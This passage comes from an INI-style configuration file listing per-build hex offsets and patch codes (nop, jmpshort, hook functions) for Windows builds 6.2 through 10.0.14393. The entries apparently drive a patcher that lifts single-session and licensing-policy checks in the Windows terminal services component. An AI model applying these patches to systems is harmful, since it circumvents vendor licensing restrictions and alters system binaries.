DefPolicyOffset.x86=1F408
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1F206
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
SLPolicyInternal.x86=1
SLPolicyOffset.x86=17059
SLPolicyFunc.x86=New_Win8SL
SLPolicyInternal.x64=1
SLPolicyOffset.x64=24570
SLPolicyFunc.x64=New_Win8SL
[6.2.9200.21166]
SingleUserPatch.x86=1
SingleUserOffset.x86=1557A
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=2BAF8
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=13F30
DefPolicyCode.x86=CDefPolicy_Query_eax_esi
DefPolicyPatch.x64=1
DefPolicyOffset.x64=2A3B6
DefPolicyCode.x64=CDefPolicy_Query_eax_rdi
SLPolicyInternal.x86=1
SLPolicyOffset.x86=19581
SLPolicyFunc.x86=New_Win8SL
SLPolicyInternal.x64=1
SLPolicyOffset.x64=21FD0
SLPolicyFunc.x64=New_Win8SL
[6.3.9431.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=8A611
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=9F721
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=306A8
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=367F9
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2EA25
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=350FD
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=196B0
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=2F9C0
SLInitFunc.x64=New_CSLQuery_Initialize
[6.3.9600.16384]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A2729
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=81824
LocalOnlyCode.x64=nopjmp
SingleUserPatch.x86=1
SingleUserOffset.x86=18028
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=20241
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=16115
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=57829
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=1CEB0
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=554C0
SLInitFunc.x64=New_CSLQuery_Initialize
[6.3.9600.17095]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A36D1
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=B9159
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=36BA9
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=21829
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=37529
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1F6A1
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=117F1
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=3B110
SLInitFunc.x64=New_CSLQuery_Initialize
[6.3.9600.17415]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=B33F8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8B2D9
LocalOnlyCode.x64=nopjmp
SingleUserPatch.x86=1
SingleUserOffset.x86=37115
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=33CE9
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3CFF9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=45825
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=18478
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=5DBC0
SLInitFunc.x64=New_CSLQuery_Initialize
[6.3.9600.18692]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=B3458
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8B2E9
LocalOnlyCode.x64=nopjmp
SingleUserPatch.x86=1
SingleUserOffset.x86=37105
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=37039
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3CFE9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=45835
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=18488
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=5DBD0
SLInitFunc.x64=New_CSLQuery_Initialize
[6.3.9600.18708]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=B35D8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8B376
LocalOnlyCode.x64=nopjmp
SingleUserPatch.x86=1
SingleUserOffset.x86=370F5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=36FE9
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3CFD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=457D5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=18308
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=5DB70
SLInitFunc.x64=New_CSLQuery_Initialize
[6.4.9841.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=956A8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=81141
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=30125
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=12159
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3B989
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=C125
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46A68
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=1EA50
SLInitFunc.x64=New_CSLQuery_Initialize
[6.4.9860.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=962C8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=81091
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=30845
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=11AA9
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3BEC9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=B9F5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46F18
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=1EB00
SLInitFunc.x64=New_CSLQuery_Initialize
[6.4.9879.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9CC8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=95611
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=30C55
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=16A34
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2DAB9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1BDC5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=41132
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=24750
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.9926.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8C28
LocalOnlyCode.x86=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=31725
SingleUserCode.x86=nop
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3CF99
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
SLInitHook.x86=1
SLInitOffset.x86=3F140
SLInitFunc.x86=New_CSLQuery_Initialize
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=95FF1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x64=1
SingleUserOffset.x64=12A34
SingleUserCode.x64=Zero
DefPolicyPatch.x64=1
DefPolicyOffset.x64=BE05
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x64=1
SLInitOffset.x64=24EC0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.10041.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9D88
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=97141
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=32215
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=15C64
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2DFC9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=B795
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46960
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22E40
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.10240.16384]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7D38
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=96901
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=32A95
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=18F74
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2F5B9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=22865
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46581
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=250F0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.10586.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7C18
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=96AA1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=353B5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=190D4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30B69
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=229A5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=469DE
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=25220
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.10586.589]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7BE8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=96A51
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=353B5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=190D4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30B69
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=229A5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=469DE
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=25220
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.11082.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7C98
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=96AB1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35405
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=190D4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30BB9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=229A5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46A3E
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=25220
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.11102.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5D58
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=95CD1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35A85
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=2A9C4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30159
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B5D5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=44FD2
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D160
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14251.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5D58
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=95CD1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35A85
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=2A9C4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30159
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B5D5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=44FD2
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D160
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14271.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A4CE8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=941E1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35915
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=263F4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF79
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1C185
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=47725
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CE50
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14279.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A4D28
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=94191
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35915
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=263F4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF79
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1C185
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=47725
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CE50
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14295.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A4D28
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D691
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35925
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=25514
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF89
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1BA35
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=47748
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C860
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14300.1000]
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F5F1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x64=1
SingleUserOffset.x64=26B04
SingleUserCode.x64=Zero
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1D125
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x64=1
SLInitOffset.x64=CC60
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14316.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E88
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F5F1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=32B55
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=26B04
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3C1C9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1D295
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46ABD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CC60
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14328.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E88
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F5F1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=32B55
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=26B04
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3C1C9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1D365
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46ABD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CC60
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14332.1001]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E98
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F601
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=357E5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=2AE44
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=316A9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1C025
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4755F
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CAD0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14342.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A8E98
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8EF31
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=357E5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=26774
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=316A9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1CEF5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4755F
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CA20
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14352.1002]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A4478
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D911
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35465
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=24474
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30099
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1AC05
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=44792
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CDB0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14366.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9088
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FB01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34F65
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=21DE4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=316E9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1A855
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4793E
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CCE0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14367.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9088
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8FB01
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34F65
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=21DE4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=316E9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1A855
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4793E
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CCE0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14372.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7698
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F931
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34635
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=295A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF69
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B295
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=460D2
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CC10
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14379.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7698
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F941
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34635
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=295A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF69
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B295
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=460D2
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CC10
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14383.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7698
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F941
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34635
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=295A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF69
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B295
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=460D2
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CC10
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14385.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7698
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8F941
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34635
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=295A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF69
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B295
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=460D2
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CC10
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14388.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6038
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D781
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=359C5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=299A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF29
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1AFC5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45636
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C930
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14393.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6038
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D781
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=359C5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=299A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF29
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
